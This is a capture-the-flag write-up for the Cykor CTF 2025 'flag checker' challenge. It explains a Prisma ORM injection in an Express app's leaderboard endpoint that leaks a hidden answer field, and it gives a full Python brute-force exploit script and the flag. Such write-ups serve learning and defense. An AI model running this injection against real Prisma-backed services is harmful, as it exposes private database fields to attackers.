# Cykor CTF 2025 - flag checker

5 min read
Table of Contents

Participated as iwasaba team.

flag checkerLink to heading

SolutionLink to heading

OverviewLink to heading

The challenge provides a typescript web application built with express and prisma.

First, we can create, login, and update users.

The User model is defined as follows:

model User {
id Int @id @default(autoincrement())
username String @unique
password String
answer String
stage Int @default(0)
token Int @default(3)
createdAt DateTime @default(now())
}

On register, user answer field value is created with random string formatted as KyCor{<random hex string>}.

const generateAnswer = () => {
return "KyCor{" + crypto.randomBytes(8).toString("hex") + "}";
};
...
app.post("/register", async (req: Request, res: Response) => {
try {
const { username, password } = req.body;
if (
!username ||
!password ||
typeof username !== "string" ||
typeof password !== "string"
) {
return res.status(200).json({ error: "Signup failed." });
}
const isUserExist = await prisma.user.findUnique({ where: { username } });
if (isUserExist) {
return res.status(200).json({ error: "Signup failed." });
}
const hashedPassword = bcrypt.hashSync(password, 10);
await prisma.user.create({
data: {
username,
password: hashedPassword,
answer: generateAnswer(),
},
});
res.status(200).json({ message: "Signup successful" });
} catch (error) {
res.status(200).json({ error: "Signup failed." });
}
});

To get the flag, we need to find and submit the correct answer field value of the user.

When we submit the correct answer, we can increase the stage and it resets the answer field value.

If we reach the last stage (which is 9), then the flag is revealed to the user.

app.post("/answer", async (req: Request, res: Response) => {
try {
if (!req.session.user) {
return res.status(200).json({ error: "Answer failed." });
}
const { answer } = req.body;
if (!answer || typeof answer !== "string") {
return res.status(200).json({ error: "Answer failed." });
}
const user = await prisma.user.findUnique({
where: { id: req.session.user },
});
if (!user) {
return res.status(200).json({ error: "Answer failed." });
}
if (user.token <= 0) {
return res.status(200).json({ error: "You have no token." });
}
if (user.answer === answer) {
if (user.stage === LAST_STAGE) {
return res.status(200).json({ message: FLAG });
}
user.stage = user.stage + 1;
await prisma.user.update({
where: { id: user.id },
data: { stage: user.stage, answer: generateAnswer() },
});
return res.status(200).json({ message: "Answer correct" });
} else {
await prisma.user.update({
where: { id: user.id },
data: { token: user.token - 1 },
});
return res.status(200).json({ error: "Answer incorrect" });
}
} catch (error) {
res.status(200).json({ error: "Answer failed." });
}
});

Now the problem is how to find the correct answer field value.

We can use the /leaderboard and /update endpoints to find the correct answer field value.

app.post("/leaderboard", async (req: Request, res: Response) => {
try {
const { usernames, stage } = req.body;
if (usernames && !Array.isArray(usernames)) {
return res.status(200).json({ error: "Leaderboard failed." });
}
const whereStage = stage ? stage : LAST_STAGE;
const where =
!usernames || usernames.length === 0
? { stage: whereStage }
: {
AND: [
{
OR: usernames.map((username: string) => ({ username })),
},
{ stage: whereStage },
],
};
const result = await prisma.user.findMany({
where,
select: {
id: true,
},
orderBy: {
stage: "desc",
},
});
return res
.status(200)
.json({
ids: result.map((user: { id: number }) => user.id),
});
} catch (error) {
res.status(200).json({ error: "Leaderboard failed." });
}
});

Since leaderboard endpoint puts usernames and stage as json, it is vulnerable to ORM injection.

Based on the prisma docs, we can use filters like gt, lt, gte, lte, ne, eq, contains, startsWith, endsWith, in, notIn, isNull, isNotNull, isNot, is, isNot to filter the results.

For example, we can use gt to filter the results to be greater than the given value.

const result = await prisma.user.findMany({
where: {
stage: { gt: 0 },
},
});

If we just put gt without any value, it shows error that gt requires _ref and _container. Which means that prisma references the object using _ref and _container. By using _ref and _container, we can reference the answer field of the User model.

{
"gt": {
"_ref": "answer",
"_container": "User"
}
}

Now we can just compare the answer field value by keep updating our username using /update endpoint.

ExploitLink to heading

import requests
import random
url = "http://3.37.112.26:3000/"
s = requests.Session()
s.get(url)
print(s.cookies)
username = random.randbytes(8).hex()
password = random.randbytes(8).hex()
s.post(url + "/register", json={
"username": username,
"password": password
})
print(s.cookies)
s.post(url + "/login", json={
"username": username,
"password": password
})
stage = 0
# get my id first
res = s.post(url + "/leaderboard", json={"usernames": [{"equals": username}], "stage": {
"in": [stage]
}})
my_id = res.json()["ids"][0]
print(my_id)
def update_username(new_username):
global password
new_password = random.randbytes(8).hex()
res = s.post(url + "/update", json={
"username": new_username,
"password": new_password,
"oldPassword": password
})
print(res.json())
password = new_password
def get_answer():
global stage
answer = "KyCor{0000000000000000}" + random.randbytes(8).hex()
for i in range(16):
for j in range(48, 0x7f):
tmp_answer = answer[:6 + i] + chr(j) + answer[6 + i + 1:]
update_username(tmp_answer)
print(tmp_answer)
res = s.post(url + "/leaderboard", json={"usernames": [
{"gt": {"_ref": "answer", "_container": "User"}}], "stage": {
"in": [stage]
}})
print(res.json()["ids"])
if my_id in res.json()["ids"]:
if i == 15:
answer = answer[:6 + i] + chr(j) + answer[6 + i + 1:]
break
answer = answer[:6 + i] + chr(j-1) + answer[6 + i + 1:]
break
stage += 1
return answer[:23]
for i in range(10):
_answer = get_answer()
print(_answer)
res = s.post(url + "/answer", json={"answer": _answer})
print(res.json())

FlagLink to heading

CyKor{6cf5b241cb380bead8b22b6f3a9fe598}